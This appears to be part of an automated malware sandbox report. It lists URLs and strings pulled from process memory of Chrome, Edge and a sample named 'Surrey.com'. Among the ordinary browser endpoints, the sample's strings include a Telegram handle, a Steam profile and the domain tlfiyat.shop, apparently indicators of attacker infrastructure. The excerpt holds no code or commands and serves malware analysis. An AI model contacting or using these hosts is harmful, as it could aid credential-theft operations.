Source: chrome.exe, 00000013.00000002.2829434480.0000203401E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2820952797.0000203400D81000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2734333055.0000203400734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2822367999.0000203400E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000013.00000002.2812632110.0000203400044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2734333055.0000203400734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2822367999.0000203400E44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2824592418.0000203401124000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000013.00000002.2812912427.00002034000EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2820952797.0000203400D81000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2734333055.0000203400734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2822367999.0000203400E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000013.00000002.2812849232.00002034000B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2734333055.0000203400734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2822367999.0000203400E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000013.00000002.2815061486.00002034004C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000013.00000003.2736084867.0000203400FD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2817962065.0000203400960000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818005553.000020340098F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000013.00000003.2739414948.0000203400454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739566795.000020340113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739699547.000020340120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chromecache_377.21.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chrome.exe, 00000013.00000002.2817962065.0000203400960000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818005553.000020340098F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000013.00000002.2812753636.000020340008C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000013.00000002.2812849232.00002034000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000013.00000002.2813579578.00002034001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comb
Source: chrome.exe, 00000013.00000002.2822040171.0000203400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815061486.00002034004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816936463.000020340079C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816977617.00002034007B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000013.00000002.2822040171.0000203400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815061486.00002034004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816936463.000020340079C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816977617.00002034007B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000013.00000003.2748297187.00002034002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000013.00000002.2814805075.000020340040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2750403309.000020340141C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2752834457.0000203401364000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: Surrey.com, 0000000D.00000002.3582252732.00000000019B6000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603391503.00000000043EC000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3585659448.00000000043E1000.00000040.00001000.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603286860.0000000001921000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603167258.000000000436E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199819539662
Source: Surrey.com, 0000000D.00000003.2603167258.000000000436E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199819539662go2dnizMozilla/5.0
Source: Surrey.com, 0000000D.00000002.3594564463.0000000007122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Surrey.com, 0000000D.00000002.3594564463.0000000007122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Surrey.com, 0000000D.00000002.3581492503.00000000018B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: Surrey.com, 0000000D.00000002.3581492503.00000000018B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/7
Source: Surrey.com, 0000000D.00000003.2603234509.00000000019CA000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603053985.0000000001935000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603019804.00000000019CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/sc1
Source: Surrey.com, 0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3585659448.00000000043E1000.00000040.00001000.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3582252732.00000000019DD000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603286860.0000000001921000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603167258.000000000436E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/sc1phell
Source: Surrey.com, 0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/sc1phell)
Source: Surrey.com, 0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/sc1phell2
Source: Surrey.com, 0000000D.00000003.2603167258.000000000436E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/sc1phellgo2dnizMozilla/5.0
Source: chrome.exe, 00000013.00000002.2818277772.00002034009E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000013.00000002.2813579578.00002034001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: Surrey.com, 0000000D.00000002.3582252732.00000000019DD000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tlfiyat.shop
Source: Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tlfiyat.shop#
Source: Surrey.com, 0000000D.00000002.3584705678.0000000004362000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tlfiyat.shop/
Source: Surrey.com, 0000000D.00000002.3584705678.0000000004362000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tlfiyat.shop/45V.
Source: Surrey.com, 0000000D.00000002.3584705678.0000000004362000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tlfiyat.shop/;8
Source: Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tlfiyat.shop/O
Source: Surrey.com, 0000000D.00000002.3584705678.0000000004362000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tlfiyat.shop/P;
Source: Surrey.com, 0000000D.00000002.3584705678.0000000004362000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tlfiyat.shop/W;
Source: Surrey.com, 0000000D.00000002.3584705678.0000000004362000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tlfiyat.shop/X5
Source: Surrey.com, 0000000D.00000002.3584705678.0000000004362000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tlfiyat.shop/_5
Source: Surrey.com, 0000000D.00000002.3581594678.00000000018E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tlfiyat.shop/eplacementmanife
Source: Surrey.com, 0000000D.00000002.3592597038.0000000006E8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tlfiyat.shop/k
Source: Surrey.com, 0000000D.00000002.3584705678.0000000004362000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tlfiyat.shop/o8
Source: Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tlfiyat.shop/s
Source: Surrey.com, 0000000D.00000002.3584705678.0000000004362000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tlfiyat.shop/s5i.
Source: Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tlfiyat.shopW
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.26.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.26.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.26.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: Surrey.com, 0000000D.00000002.3582252732.00000000019DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: Surrey.com, 0000000D.00000002.3584705678.00000000043B5000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3592597038.0000000006E8A000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3588082989.0000000006074000.00000004.00000800.00020000.00000000.sdmp, ny5pzu.13.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_cd61a4703a8613be887576f2bd084bcc6f4756dccdbe5062
Source: Surrey.com, 0000000D.00000002.3587128325.0000000005E98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818984050.0000203400B4C000.00000004.00000800.00020000.00000000.sdmp, v37ycb.13.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000013.00000002.2819043402.0000203400B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000013.00000002.2819043402.0000203400B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000013.00000002.2819043402.0000203400B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000013.00000003.2748297187.00002034002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000013.00000003.2755360525.00002034002A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2748297187.00002034002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000013.00000003.2748297187.00002034002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000013.00000002.2815734698.0000203400654000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000013.00000002.2818984050.0000203400B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Chartk3
Source: chrome.exe, 00000013.00000002.2818424523.0000203400A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000013.00000002.2818424523.0000203400A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2me/
Source: chrome.exe, 00000013.00000002.2824592418.0000203401124000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: content_new.js.26.dr, content.js.26.dr	String found in binary or memory: https://www.google.com/chrome
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/go-mobile/?ios-campaign=desktop-chr-ntp&android-campaign=desktop-chr-n
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000013.00000002.2813579578.00002034001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818623311.0000203400AA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2817962065.0000203400960000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2817188242.0000203400830000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000013.00000002.2813579578.00002034001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818623311.0000203400AA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2817962065.0000203400960000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2817188242.0000203400830000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: Surrey.com, 0000000D.00000002.3588082989.0000000006007000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3587128325.0000000005E98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2812849232.00002034000B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815464113.00002034005D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815164149.0000203400504000.00000004.00000800.00020000.00000000.sdmp, v3w47q.13.dr, v37ycb.13.dr, Web Data.26.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000013.00000002.2812849232.00002034000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsights
Source: chrome.exe, 00000013.00000002.2814805075.000020340040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2750403309.000020340141C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2752834457.0000203401364000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000013.00000003.2752212784.000020340139C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000013.00000003.2739699547.000020340120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000013.00000002.2815061486.00002034004C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000013.00000002.2818532695.0000203400A5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000013.00000002.2812568228.0000203400013000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000013.00000003.2748297187.00002034002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000013.00000003.2748297187.00002034002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000013.00000002.2815061486.00002034004C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chromecache_377.21.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_377.21.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_377.21.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: chrome.exe, 00000013.00000003.2752834457.0000203401364000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000013.00000003.2750171842.0000203401364000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2751574070.000020340104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2753454189.0000203401458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2750315444.0000203401364000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2753146050.0000203401380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2751893541.00002034013B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2826140717.00002034013B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2752834457.0000203401364000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000013.00000003.2752212784.000020340139C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.49JL8PttH04.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000013.00000003.2752212784.000020340139C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.avVfaMsGWq0.L.W.O/m=qmd
Source: Surrey.com, 0000000D.00000002.3584705678.00000000043B5000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3592597038.0000000006E8A000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3588082989.0000000006074000.00000004.00000800.00020000.00000000.sdmp, ny5pzu.13.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: Surrey.com, 0000000D.00000002.3594564463.0000000007122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.5iSPD7jwkDnW
Source: Surrey.com, 0000000D.00000002.3594564463.0000000007122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.3UfcDFx2ZSAZ
Source: Surrey.com, 0000000D.00000002.3594564463.0000000007122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Surrey.com, 0000000D.00000002.3594564463.0000000007122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: chrome.exe, 00000013.00000002.2827197419.0000203401B30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000013.00000003.2767897495.0000203401B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819077450.0000203400BA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2827261354.0000203401B98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2767988556.0000203401B94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000013.00000002.2819077450.0000203400BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca=
Source: chrome.exe, 00000013.00000003.2767897495.0000203401B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2827261354.0000203401B98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2767988556.0000203401B94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcaogl
Source: chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819353678.0000203400C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
